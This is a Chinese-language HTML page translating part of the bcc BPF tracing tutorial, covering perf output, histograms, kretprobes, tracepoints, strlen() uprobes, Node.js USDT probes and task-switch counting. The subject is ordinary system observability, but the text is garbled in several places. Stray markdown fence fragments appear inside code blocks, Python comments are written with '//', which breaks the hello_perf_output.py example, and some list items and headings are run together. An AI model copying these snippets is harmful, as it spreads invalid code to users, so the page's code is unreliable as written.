<li><code>start.update(&amp;req, &amp;ts)</code>: 我们使用请求结构的指针作为哈希中的键。这在跟踪中很常见。结构体指针是非常好的键因为它们是唯一的两个结构体不能具有相同的指针地址。只需小心何时释放和重用指针。所以我们实际上是给描述磁盘I/O的请求结构体打上我们自己的时间戳以便我们可以计时。存储时间戳常用的两个键是结构体指针和线程ID用于记录函数入口到返回的时间</li>
<li><code>req-&gt;__data_len</code>: 我们在解引用<code>struct request</code>的成员。请参阅内核源代码中对其定义的部分以获得有关哪些成员可用的信息。bcc实际上会将这些表达式重写为一系列<code>bpf_probe_read_kernel()</code>调用。有时bcc无法处理复杂的解引用此时您需要直接调用<code>bpf_probe_read_kernel()</code></li>
</ol>
<p>这是一个非常有趣的程序,如果您能理解所有的代码,您就会理解很多重要的基础知识。我们仍然在使用<code>bpf_trace_printk()</code>的技巧,我们下一步要解决这个问题。</p>
<h3 id="lesson-7-hello_perf_outputpy"><a class="header" href="#lesson-7-hello_perf_outputpy">Lesson 7. hello_perf_output.py</a></h3>
<p>让我们最终停止使用bpf_trace_printk()并使用适当的BPF_PERF_OUTPUT()接口。这也意味着我们将停止获取免费的trace_field()成员如PID和时间戳并且需要直接获取它们。在另一个会话中运行命令时的示例输出</p>
<pre><code class="language-sh"># hello_perf_output.py
TIME(s) COMM PID MESSAGE
0.000000000 bash 22986 你好perf_output
0.021080275 systemd-udevd 484 你好perf_output
0.021359520 systemd-udevd 484 你好perf_output
0.021590610 systemd-udevd 484 你好perf_output
[...]
</code></pre>
<p>代码位于<a href="https://github.com/iovisor/bcc/tree/master/examples/tracing/hello_perf_output.py">examples/tracing/hello_perf_output.py</a></p>
<pre><code class="language-Python">from bcc import BPF
// 定义BPF程序
prog = &quot;&quot;&quot;
#include &lt;linux/sched.h&gt;
// 在C中定义输出数据结构
struct data_t {
u32 pid;
u64 ts;
char comm[TASK_COMM_LEN];
};
BPF_PERF_OUTPUT(events);
int hello(struct pt_regs *ctx) {
struct data_t data = {};
data.pid = bpf_get_current_pid_tgid();
data.ts = bpf_ktime_get_ns();
bpf_get_current_comm(&amp;data.comm, sizeof(data.comm));
events.perf_submit(ctx, &amp;data, sizeof(data));
return 0;
}
&quot;&quot;&quot;
// 加载BPF程序
b = BPF(text=prog)
b.attach_kprobe(event=b.get_syscall_fnname(&quot;clone&quot;), fn_name=&quot;hello&quot;)
//标题
print(&quot;%-18s %-16s %-6s %s&quot; % (&quot;TIME(s)&quot;, &quot;COMM&quot;, &quot;PID&quot;, &quot;MESSAGE&quot;))
//处理事件
start = 0
def print_event(cpu, data, size):
global start
event = b[&quot;events&quot;].event(data)
if start == 0:
start = event.ts
time_s = (float(event.ts - start)) / 1000000000
print(&quot;%-18.9f %-16s %-6d %s&quot; % (time_s, event.comm, event.pid, &quot;你好perf_output&quot;))
//循环并回调print_event
b[&quot;events&quot;].open_perf_buffer(print_event)
while 1:
b.perf_buffer_poll()
</code></pre>
<p>学习的内容:</p>
<ol>
<li><code>struct data_t</code>: 这定义了一个C结构体我们将用它来从内核传递数据到用户空间。1. <code>BPF_PERF_OUTPUT(events)</code>: 这里给我们的输出通道命名为&quot;events&quot;</li>
<li><code>struct data_t data = {};</code>: 创建一个空的<code>data_t</code>结构体,我们将在之后填充它。</li>
<li><code>bpf_get_current_pid_tgid()</code>: 返回低32位的进程ID内核视图中的PID用户空间中通常被表示为线程ID以及高32位的线程组ID用户空间通常认为是PID。通过直接将其设置为<code>u32</code>我们丢弃了高32位。应该显示PID还是TGID对于多线程应用程序TGID将是相同的所以如果你想要区分它们你需要PID。这也是对最终用户期望的一个问题。</li>
<li><code>bpf_get_current_comm()</code>: 将当前进程的名称填充到第一个参数的地址中。</li>
<li><code>events.perf_submit()</code>: 通过perf环形缓冲区将事件提交给用户空间以供读取。</li>
<li><code>def print_event()</code>: 定义一个Python函数来处理从<code>events</code>流中读取的事件。</li>
<li><code>b[&quot;events&quot;].event(data)</code>: 现在将事件作为一个Python对象获取该对象是根据C声明自动生成的。</li>
<li><code>b[&quot;events&quot;].open_perf_buffer(print_event)</code>: 将Python的<code>print_event</code>函数与<code>events</code>流关联起来。</li>
<li><code>while 1: b.perf_buffer_poll()</code>: 阻塞等待事件。</li>
</ol>
<h3 id="第八课-sync_perf_outputpy"><a class="header" href="#第八课-sync_perf_outputpy">第八课。 sync_perf_output.py</a></h3>
<p>重写之前的课程中的sync_timing.py使用<code>BPF_PERF_OUTPUT</code></p>
<h3 id="第九课-bitehistpy"><a class="header" href="#第九课-bitehistpy">第九课。 bitehist.py</a></h3>
<p>以下工具记录了磁盘I/O大小的直方图。样本输出</p>
<pre><code class="language-sh"># bitehist.py
跟踪中... 按Ctrl-C结束。
^C
kbytes : count distribution
0 -&gt; 1 : 3 | |
2 -&gt; 3 : 0 | |
4 -&gt; 7 : 211 |********** |
8 -&gt; 15 : 0 | |
16 -&gt; 31 : 0 | |&quot;.32 -&gt; 63 : 0 | |
64 -&gt; 127 : 1 | |
128 -&gt; 255 : 800 |**************************************|
</code></pre>
<p>代码在<a href="https://github.com/iovisor/bcc/tree/master/examples/tracing/bitehist.py">examples/tracing/bitehist.py</a>:</p>
<pre><code class="language-Python">from __future__ import print_function
from bcc import BPF
from time import sleep
# 加载BPF程序
b = BPF(text=&quot;&quot;&quot;
#include &lt;uapi/linux/ptrace.h&gt;
#include &lt;linux/blkdev.h&gt;
BPF_HISTOGRAM(dist);
int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)
{
dist.increment(bpf_log2l(req-&gt;__data_len / 1024));
return 0;
}
&quot;&quot;&quot;)
# 头部
print(&quot;跟踪中... 按Ctrl-C结束.&quot;)
# 跟踪直到按下Ctrl-C
try:
sleep(99999999)
except KeyboardInterrupt:
print()
# 输出
b[&quot;dist&quot;].print_log2_hist(&quot;kbytes&quot;)
</code></pre>
<p>之前课程的总结:</p>
<ul>
<li><code>kprobe__</code>: 这个前缀意味着其余部分将被视为一个将使用kprobe进行插桩的内核函数名。</li>
<li><code>struct pt_regs *ctx, struct request*req</code>: kprobe的参数。<code>ctx</code> 是寄存器和BPF上下文<code>req</code> 是被插桩函数 <code>blk_account_io_done()</code> 的第一个参数。</li>
<li><code>req-&gt;__data_len</code>: 解引用该成员。</li>
</ul>
<p>新知识:</p>
<ol>
<li><code>BPF_HISTOGRAM(dist)</code>: 定义了一个名为 &quot;dist&quot; 的BPF映射对象它是一个直方图。</li>
<li><code>dist.increment()</code>: 默认情况下将第一个参数提供的直方图桶索引加1。也可以作为第二个参数传递自定义的增量。</li>
<li><code>bpf_log2l()</code>: 返回所提供值的对数值。这将成为我们直方图的索引这样我们构建了一个以2为底的幂直方图。</li>
<li><code>b[&quot;dist&quot;].print_log2_hist(&quot;kbytes&quot;)</code>: 以2为底的幂形式打印 &quot;dist&quot; 直方图,列标题为 &quot;kbytes&quot;。这样只有桶计数从内核传输到用户空间,因此效率高。</li>
</ol>
<h3 id="lesson-10-disklatencypy-lesson-11-vfsreadlatpy"><a class="header" href="#lesson-10-disklatencypy-lesson-11-vfsreadlatpy">Lesson 10. disklatency.py”。#### Lesson 11. vfsreadlat.py</a></h3>
<p>这个例子分为独立的Python和C文件。示例输出</p>
<pre><code class="language-sh"># vfsreadlat.py 1
跟踪中... 按Ctrl-C停止。
微秒 : 数量 分布
0 -&gt; 1 : 0 | |
2 -&gt; 3 : 2 |*********** |
4 -&gt; 7 : 7 |****************************************|
8 -&gt; 15 : 4 |********************** |
微秒 : 数量 分布
0 -&gt; 1 : 29 |****************************************|
2 -&gt; 3 : 28 |************************************** |
4 -&gt; 7 : 4 |***** |
8 -&gt; 15 : 8 |*********** |
16 -&gt; 31 : 0 | |
32 -&gt; 63 : 0 | |
64 -&gt; 127 : 0 | |
128 -&gt; 255 : 0 | |
256 -&gt; 511 : 2 |** |
512 -&gt; 1023 : 0 | |
1024 -&gt; 2047 : 0 | |
2048 -&gt; 4095 : 0 | |
4096 -&gt; 8191 : 4 |***** |
8192 -&gt; 16383 : 6 |******** |
16384 -&gt; 32767 : 9 |************ |```.32768 -&gt; 65535 : 6 |******** |
65536 -&gt; 131071 : 2 |** |
usecs : count distribution
0 -&gt; 1 : 11 |****************************************|
2 -&gt; 3 : 2 |******* |
4 -&gt; 7 : 10 |************************************ |
8 -&gt; 15 : 8 |***************************** |
16 -&gt; 31 : 1 |*** |
32 -&gt; 63 : 2 |******* |
[...]
</code></pre>
<p>浏览 <a href="https://github.com/iovisor/bcc/tree/master/examples/tracing/vfsreadlat.py">examples/tracing/vfsreadlat.py</a><a href="https://github.com/iovisor/bcc/tree/master/examples/tracing/vfsreadlat.c">examples/tracing/vfsreadlat.c</a> 中的代码。</p>
<p>学习的内容:</p>
<ol>
<li><code>b = BPF(src_file = &quot;vfsreadlat.c&quot;)</code>: 从单独的源代码文件中读取 BPF C 程序。</li>
<li><code>b.attach_kretprobe(event=&quot;vfs_read&quot;, fn_name=&quot;do_return&quot;)</code>: 将 BPF C 函数 <code>do_return()</code> 链接到内核函数 <code>vfs_read()</code> 的返回值上。这是一个 kretprobe用于检测函数返回值而不是函数的入口。</li>
<li><code>b[&quot;dist&quot;].clear()</code>: 清除直方图。</li>
</ol>
<h3 id="lesson-12-urandomreadpy"><a class="header" href="#lesson-12-urandomreadpy">Lesson 12. urandomread.py</a></h3>
<p>当运行 <code>dd if=/dev/urandom of=/dev/null bs=8k count=5</code> 时进行跟踪:</p>
<pre><code class="language-sh"># urandomread.py
TIME(s) COMM PID GOTBITS
24652832.956994001 smtp 24690 384
24652837.726500999 dd 24692 65536
24652837.727111001 dd 24692 65536
24652837.727703001 dd 24692 65536
24652837.728294998 dd 24692 65536
24652837.728888001 dd 24692 65536
</code></pre>
<p>哈!我意外地捕捉到了 smtp。代码在 <a href="https://github.com/iovisor/bcc/tree/master/examples/tracing/urandomread.py">examples/tracing/urandomread.py</a> 中:</p>
<pre><code class="language-Python">from __future__ import print_function&quot;.```python
from bcc import BPF
# 加载BPF程序
b = BPF(text=&quot;&quot;&quot;
TRACEPOINT_PROBE(random, urandom_read) {
// args is from /sys/kernel/debug/tracing/events/random/urandom_read/format
bpf_trace_printk(&quot;%d\\n&quot;, args-&gt;got_bits);
return 0;
}
&quot;&quot;&quot;)
# header
print(&quot;%-18s %-16s %-6s %s&quot; % (&quot;TIME(s)&quot;, &quot;COMM&quot;, &quot;PID&quot;, &quot;GOTBITS&quot;))
# format output
while 1:
try:
(task, pid, cpu, flags, ts, msg) = b.trace_fields()
except ValueError:
continue
print(&quot;%-18.9f %-16s %-6d %s&quot; % (ts, task, pid, msg))
</code></pre>
<p>要学到的东西:</p>
<ol>
<li><code>TRACEPOINT_PROBE(random, urandom_read)</code>: 对内核跟踪点 <code>random:urandom_read</code> 进行注入。这些具有稳定的API因此在可能的情况下建议使用它们来代替kprobe。您可以运行 <code>perf list</code> 来获取跟踪点列表。至少需要 Linux 版本 4.7 来将 BPF 程序附加到跟踪点上。</li>
<li><code>args-&gt;got_bits</code>: <code>args</code> 是自动填充的跟踪点参数结构。上面的注释指出了可以查看这个结构的位置。例如:</li>
</ol>
<pre><code class="language-sh"># cat /sys/kernel/debug/tracing/events/random/urandom_read/format
name: urandom_read
ID: 972
format:
field:unsigned short common_type; offset:0; size:2; signed:0;
field:unsigned char common_flags; offset:2; size:1; signed:0;
field:unsigned char common_preempt_count; offset:3; size:1; signed:0;
field:int common_pid; offset:4; size:4; signed:1;
field:int got_bits; offset:8; size:4; signed:1;
field:int pool_left; offset:12; size:4; signed:1;
field:int input_left; offset:16; size:4; signed:1;
print fmt: &quot;got_bits %d nonblocking_pool_entropy_left %d input_entropy_left %d&quot;, REC-&gt;got_bits, REC-&gt;pool_left, REC-&gt;input_left
</code></pre>
<p>在这种情况下,我们正在打印 <code>got_bits</code> 成员。</p>
<h3 id="第13课-disksnooppy已修复"><a class="header" href="#第13课-disksnooppy已修复">第13课. disksnoop.py已修复</a></h3>
<p>将上一课的 disksnoop.py 修改为使用 <code>block:block_rq_issue</code><code>block:block_rq_complete</code> 跟踪点。</p>
<h3 id="第14课-strlen_countpy"><a class="header" href="#第14课-strlen_countpy">第14课. strlen_count.py.</a></h3>
<p>这个程序对用户级函数进行插桩,其中包括 <code>strlen()</code> 库函数,并对其字符串参数进行频率统计。例如输出</p>
<pre><code class="language-sh"># strlen_count.py
跟踪 strlen()... 按 Ctrl-C 结束。
^C 数量 字符串
1 &quot; &quot;
1 &quot;/bin/ls&quot;
1 &quot;.&quot;
1 &quot;cpudist.py.1&quot;
1 &quot;.bashrc&quot;
1 &quot;ls --color=auto&quot;
1 &quot;key_t&quot;
[...]
10 &quot;a7:~# &quot;
10 &quot;/root&quot;
12 &quot;LC_ALL&quot;
12 &quot;en_US.UTF-8&quot;
13 &quot;en_US.UTF-8&quot;
20 &quot;~&quot;
70 &quot;#%^,~:-=?+/}&quot;
340 &quot;\x01\x1b]0;root@bgregg-test: ~\x07\x02root@bgregg-test:~# &quot;
</code></pre>
<p>这些是在跟踪时由此库函数处理的各种字符串以及它们的频率计数。例如,&quot;LC_ALL&quot; 被调用了12次。</p>
<p>代码在 <a href="https://github.com/iovisor/bcc/tree/master/examples/tracing/strlen_count.py">examples/tracing/strlen_count.py</a> 中:</p>
<pre><code class="language-Python">from __future__ import print_function
from bcc import BPF
from time import sleep
# 载入 BPF 程序
b = BPF(text=&quot;&quot;&quot;
#include &lt;uapi/linux/ptrace.h&gt;
struct key_t {
char c[80];
};
BPF_HASH(counts, struct key_t);
int count(struct pt_regs *ctx) {
if (!PT_REGS_PARM1(ctx))
return 0;
struct key_t key = {};
u64 zero = 0, *val;
bpf_probe_read_user(&amp;key.c, sizeof(key.c), (void *)PT_REGS_PARM1(ctx));
// 也可以使用 `counts.increment(key)`
val = counts.lookup_or_try_init(&amp;key, &amp;zero);
if (val) {
(*val)++;
}
return 0;
};
&quot;&quot;&quot;)
b.attach_uprobe(name=&quot;c&quot;, sym=&quot;strlen&quot;, fn_name=&quot;count&quot;)
# 头部
print(&quot;跟踪 strlen()... 按 Ctrl-C 结束。&quot;)
# 睡眠直到按下 Ctrl-C
try:
sleep(99999999)
except KeyboardInterrupt:
pass
# 打印输出
print(&quot;%10s %s&quot; % (&quot;数量&quot;, &quot;字符串&quot;))
counts = b.get_table(&quot;counts&quot;)
for k, v in sorted(counts.items(), key=lambda counts: counts[1].value):
print(&quot;%10d \&quot;%s\&quot;&quot; % (v.value, k.c.encode('string-escape')))
</code></pre>
<p>要学习的内容1. <code>PT_REGS_PARM1(ctx)</code>: 这个参数会获取传递给 <code>strlen()</code> 的第一个参数,也就是字符串。</p>
<ol>
<li><code>b.attach_uprobe(name=&quot;c&quot;, sym=&quot;strlen&quot;, fn_name=&quot;count&quot;)</code>: 附加到库 &quot;c&quot;(如果这是主程序,则使用其路径名),对用户级函数 <code>strlen()</code> 进行插装,并在执行时调用我们的 C 函数 <code>count()</code></li>
</ol>
<h3 id="第15课nodejs_http_serverpy"><a class="header" href="#第15课nodejs_http_serverpy">第15课。nodejs_http_server.py</a></h3>
<p>本程序会对用户静态定义的跟踪 (USDT) 探测点进行插装,这是内核跟踪点的用户级版本。示例输出:</p>
<pre><code class="language-sh"># nodejs_http_server.py 24728
TIME(s) COMM PID ARGS
24653324.561322998 node 24728 path:/index.html
24653335.343401998 node 24728 path:/images/welcome.png
24653340.510164998 node 24728 path:/images/favicon.png
</code></pre>
<p>来自 <a href="https://github.com/iovisor/bcc/tree/master/examples/tracing/nodejs_http_server.py">examples/tracing/nodejs_http_server.py</a> 的相关代码:</p>
<pre><code class="language-Python">from __future__ import print_function
from bcc import BPF, USDT
import sys
if len(sys.argv) &lt; 2:
print(&quot;USAGE: nodejs_http_server PID&quot;)
exit()
pid = sys.argv[1]
debug = 0
# load BPF program
bpf_text = &quot;&quot;&quot;
#include &lt;uapi/linux/ptrace.h&gt;
int do_trace(struct pt_regs *ctx) {
uint64_t addr;
char path[128]={0};
bpf_usdt_readarg(6, ctx, &amp;addr);
bpf_probe_read_user(&amp;path, sizeof(path), (void *)addr);
bpf_trace_printk(&quot;path:%s\\n&quot;, path);
return 0;
};
&quot;&quot;&quot;
# enable USDT probe from given PID
u = USDT(pid=int(pid))
u.enable_probe(probe=&quot;http__server__request&quot;, fn_name=&quot;do_trace&quot;)
if debug:
print(u.get_text())
print(bpf_text)
# initialize BPF
b = BPF(text=bpf_text, usdt_contexts=[u])
</code></pre>
<p>学习内容:</p>
<ol>
<li><code>bpf_usdt_readarg(6, ctx, &amp;addr)</code>: 从 USDT 探测点中读取参数 6 的地址到 <code>addr</code></li>
<li><code>bpf_probe_read_user(&amp;path, sizeof(path), (void *)addr)</code>: 现在字符串 <code>addr</code> 指向我们的 <code>path</code> 变量。</li>
<li><code>u = USDT(pid=int(pid))</code>: 为给定的 PID 初始化 USDT 跟踪。1. <code>u.enable_probe(probe=&quot;http__server__request&quot;, fn_name=&quot;do_trace&quot;)</code>: 将我们的 <code>do_trace()</code> BPF C 函数附加到 Node.js 的 <code>http__server__request</code> USDT 探针。</li>
<li><code>b = BPF(text=bpf_text, usdt_contexts=[u])</code>: 需要将我们的 USDT 对象 <code>u</code> 传递给 BPF 对象的创建。</li>
</ol>
<h3 id="第16课-task_switchc"><a class="header" href="#第16课-task_switchc">第16课. task_switch.c</a></h3>
<p>这是一个早期的教程,作为额外的课程包含其中。用它来复习和加深你已经学到的内容。</p>
<p>这是一个比 Hello World 更复杂的示例程序。该程序将在内核中每次任务切换时被调用,并在一个 BPF 映射中记录新旧进程的 pid。</p>
<p>下面的 C 程序引入了一个新的概念prev 参数。BCC 前端会特殊处理这个参数,从而使得对这个变量的访问从由 kprobe 基础设施传递的保存上下文中进行读取。从位置1开始的参数的原型应该与被 kprobed 的内核函数的原型匹配。如果这样做,程序就可以无缝访问函数参数。</p>
<pre><code class="language-c">#include &lt;uapi/linux/ptrace.h&gt;
#include &lt;linux/sched.h&gt;
struct key_t {
u32 prev_pid;
u32 curr_pid;
};
BPF_HASH(stats, struct key_t, u64, 1024);
int count_sched(struct pt_regs *ctx, struct task_struct *prev) {
struct key_t key = {};
u64 zero = 0, *val;
key.curr_pid = bpf_get_current_pid_tgid();
key.prev_pid = prev-&gt;pid;
// could also use `stats.increment(key);`
val = stats.lookup_or_try_init(&amp;key, &amp;zero);
if (val) {
(*val)++;
}
return 0;
}
</code></pre>
<p>用户空间组件加载上面显示的文件,并将其附加到 <code>finish_task_switch</code> 内核函数上。
BPF 对象的 <code>[]</code> 运算符允许访问程序中的每个 BPF_HASH允许对内核中的值进行通行访问。可以像使用任何其他 python dict 对象一样使用该对象:读取、更新和删除操作都是允许的。</p>
<pre><code class="language-python">from bcc import BPF
from time import sleep
b = BPF(src_file=&quot;task_switch.c&quot;)&quot;.```markdown
```Chinese
b.attach_kprobe(event=&quot;finish_task_switch&quot;, fn_name=&quot;count_sched&quot;)
# 生成多个调度事件
for i in range(0, 100): sleep(0.01)
for k, v in b[&quot;stats&quot;].items():
print(&quot;task_switch[%5d-&gt;%5d]=%u&quot; % (k.prev_pid, k.curr_pid, v.value))
</code></pre>
<p>这些程序可以在文件 <a href="https://github.com/iovisor/bcc/tree/master/examples/tracing/task_switch.c">examples/tracing/task_switch.c</a><a href="https://github.com/iovisor/bcc/tree/master/examples/tracing/task_switch.py">examples/tracing/task_switch.py</a> 中找到。</p>
<h3 id="第17课-进一步研究"><a class="header" href="#第17课-进一步研究">第17课. 进一步研究</a></h3>
<p>要进行进一步研究,请参阅 Sasha Goldshtein 的 <a href="https://github.com/goldshtn/linux-tracing-workshop">linux-tracing-workshop</a>其中包含了额外的实验。bcc/tools 中还有许多工具可供研究。</p>
<p>如果您希望为 bcc 贡献工具,请阅读 <a href="https://github.com/iovisor/bcc/tree/master/CONTRIBUTING-SCRIPTS.md">CONTRIBUTING-SCRIPTS.md</a>。在主要的 <a href="https://github.com/iovisor/bcc/tree/master/README.md">README.md</a> 的底部,您还会找到与我们联系的方法。祝您好运,祝您成功追踪!</p>
<h2 id="网络-1"><a class="header" href="#网络-1">网络</a></h2>
<p>TODO</p>
</main>
<nav class="nav-wrapper" aria-label="Page navigation">
<!-- Mobile navigation buttons -->
<div style="clear: both"></div>
</nav>
</div>
</div>
<nav class="nav-wide-wrapper" aria-label="Page navigation">
</nav>
</div>
<script>
window.playground_copyable = true;
</script>
<script src="elasticlunr.min.js"></script>
<script src="mark.min.js"></script>
<script src="searcher.js"></script>
<script src="clipboard.min.js"></script>
<script src="highlight.js"></script>
<script src="book.js"></script>
<!-- Custom JS scripts -->
<script>
window.addEventListener('load', function() {
window.setTimeout(window.print, 100);
});
</script>
</div>
</body>
</html>